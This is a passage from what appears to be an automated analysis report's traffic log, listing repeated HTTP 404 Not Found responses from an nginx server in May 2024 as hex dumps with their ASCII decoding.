43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:08 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:11 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:43 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:43 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:45 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:46 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:47 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:48 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:25:51 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 